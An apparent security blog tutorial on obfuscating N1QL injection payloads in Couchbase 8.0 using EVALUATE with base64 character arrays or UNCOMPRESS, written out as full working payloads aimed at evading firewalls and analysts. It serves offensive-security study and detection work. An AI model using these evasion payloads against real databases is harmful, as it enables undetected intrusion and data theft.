N1QL Injection - Part 6: Query Obfuscation

With the release of version 8.0, Couchbase have added some new functions to N1QL (SQL++). Two of these functions (EVALUATE and UNCOMPRESS) allow for the obfuscation of injection payloads.

In this post we will look at a couple of methods to obfuscate our injection payloads, to bypass WAFs or make the payloads harder to detect by analysts. Note: These methods only work with version 8.0 or newer

The Idea

The EVALUATE function is similar to an eval statement in JavaScript, it executes the N1QL (SQL++) statement provided as a string and returns the result as an array.

So, we just need to use built-in functions or features that allow us to craft a valid query string that can then be executed by the EVALUATE function. While this will hide some

Arrays

The first method uses string concatenation to take an array of characters and generate a full query, which can then be executed using the EVALUATE function.

Generating the obfuscated payload follows the workflow below:

  • Base64 encode the target statement, e.g. SELECT DS_VERSION(),'test' => InNlbGVjdCBEU19WRVJTSU9OKCksJ3Rlc3QnIg==
  • Extract the unique characters from the base64 encoded string, e.g. ['I', 'n', 'N', 'l', 'b', 'G', 'V', 'j', 'd', 'C', 'B', 'E', 'U', '1', '9', 'W', 'R', 'J', 'T', 'S', 'O', 'K', 'k', 's', '3', 'c', 'Q', 'g', '=']
  • Shuffle the characters into a random order, e.g. ['l', 'W', 'G', '=', 'I', 'J', '3', 'c', '9', 'K', 'N', 'S', 'j', 'k', 'b', 's', 'O', 'R', 'Q', 'n', 'd', 'T', 'V', 'U', 'C', '1', 'B', 'E', 'g']
  • Replace each character in the original statement with the index in the shuffled array
  • Combine the parts into the new obfuscated query, e.g. a[4]||a[19]||a[10]||a[0]||a[14]||a[2]||a[22]||a[12]||a[20]||a[24]||a[26]||a[27]||a[23]||a[25]||a[8]||a[1]||a[17]||a[22]||a[5]||a[21]||a[11]||a[23]||a[8]||a[16]||a[9]||a[24]||a[13]||a[15]||a[5]||a[6]||a[17]||a[0]||a[7]||a[6]||a[18]||a[19]||a[4]||a[28]||a[3]||a[3]
  • Add the necessary prefix and suffix pieces, e.g. OBJECT_VALUES(EVALUATE((SELECT raw BASE64_DECODE(a[4]||a[19]||a[10]||a[0]||a[14]||a[2]||a[22]||a[12]||a[20]||a[24]||a[26]||a[27]||a[23]||a[25]||a[8]||a[1]||a[17]||a[22]||a[5]||a[21]||a[11]||a[23]||a[8]||a[16]||a[9]||a[24]||a[13]||a[15]||a[5]||a[6]||a[17]||a[0]||a[7]||a[6]||a[18]||a[19]||a[4]||a[28]||a[3]||a[3]) FROM [SPLIT('lWG=IJ3c9KNSjkbsORQndTVUC1BEg','')] AS a)[0])[0]) LIKE '%'
Statement:  "select DS_VERSION(),'test'"
Base64 Statement:  InNlbGVjdCBEU19WRVJTSU9OKCksJ3Rlc3QnIg==
Charset:  ['I', 'n', 'N', 'l', 'b', 'G', 'V', 'j', 'd', 'C', 'B', 'E', 'U', '1', '9', 'W', 'R', 'J', 'T', 'S', 'O', 'K', 'k', 's', '3', 'c', 'Q', 'g', '=']
Shuffled:  ['l', 'W', 'G', '=', 'I', 'J', '3', 'c', '9', 'K', 'N', 'S', 'j', 'k', 'b', 's', 'O', 'R', 'Q', 'n', 'd', 'T', 'V', 'U', 'C', '1', 'B', 'E', 'g']
Obfuscated check:  OBJECT_VALUES(EVALUATE((SELECT raw BASE64_DECODE(a[4]||a[19]||a[10]||a[0]||a[14]||a[2]||a[22]||a[12]||a[20]||a[24]||a[26]||a[27]||a[23]||a[25]||a[8]||a[1]||a[17]||a[22]||a[5]||a[21]||a[11]||a[23]||a[8]||a[16]||a[9]||a[24]||a[13]||a[15]||a[5]||a[6]||a[17]||a[0]||a[7]||a[6]||a[18]||a[19]||a[4]||a[28]||a[3]||a[3]) FROM [SPLIT('lWG=IJ3c9KNSjkbsORQndTVUC1BEg','')] AS a)[0])[0])[0] LIKE '8%'

When embedded into a statement the payload is handled as follows:

SELECT 'success'
WHERE OBJECT_VALUES(
  EVALUATE(
    (SELECT raw BASE64_DECODE(a[4]||a[19]||a[10]||a[0]||a[14]||a[2]||a[22]||a[12]||a[20]||a[24]||a[26]||a[27]||a[23]||a[25]||a[8]||a[1]||a[17]||a[22]||a[5]||a[21]||a[11]||a[23]||a[8]||a[16]||a[9]||a[24]||a[13]||a[15]||a[5]||a[6]||a[17]||a[0]||a[7]||a[6]||a[18]||a[19]||a[4]||a[28]||a[3]||a[3]) FROM [SPLIT('lWG=IJ3c9KNSjkbsORQndTVUC1BEg','')] AS a)[0]
  )[0]
)[0] LIKE '8%'

The concatenation of all the individual characters is performed first, giving the following:

SELECT 'success' WHERE OBJECT_VALUES(EVALUATE((SELECT RAW BASE64_DECODE('InNlbGVjdCBEU19WRVJTSU9OKCksJ3Rlc3QnIg==') FROM [SPLIT('lWG=IJ3c9KNSjkbsORQndTVUC1BEg','')] AS a)[0])[0])[0] LIKE '8%'

Then the base64 string is decoded to return the custom query:

SELECT 'success' WHERE OBJECT_VALUES(EVALUATE("select DS_VERSION(),'test'")[0])[0] LIKE '8%'

Lastly, the statement is executed and the version compared against the string '8%' giving the following result:

[
  {
    "$1": "success"
  }
]

Note: Payloads obfuscated using this method can be significantly bigger than the original query.

Uncompress

The second method of obfuscation is to use the new UNCOMPRESS function. This function takes a base64 encoded compressed string and returns the original string, which can then be used as the input for the EVALUATE function where the statement is executed.

This method for obfuscation is results in smaller payloads, however it is arguably easier to understand what is being done.

Generating the payload uses the following steps:

  • Compress the statement string using zlib or gzip compression
  • Base64 encode the compressed string
  • Add the required prefix and suffix

This results in a payload similar to below:

Uncompress payload

UNCOMPRESS('eJwqTs1JTS5RcAmOD3MNCvb099PQ1FEvSS0uUQcEAAD//3WYCEg=')

Full Payload

SELECT 'success' FROM system:dual
WHERE OBJECT_VALUES(
  EVALUATE(
    (SELECT raw UNCOMPRESS('eJwqTs1JTS5RcAmOD3MNCvb099PQ1FEvSS0uUQcEAAD//3WYCEg='))[0]
  )[0]
)[0] LIKE '8%'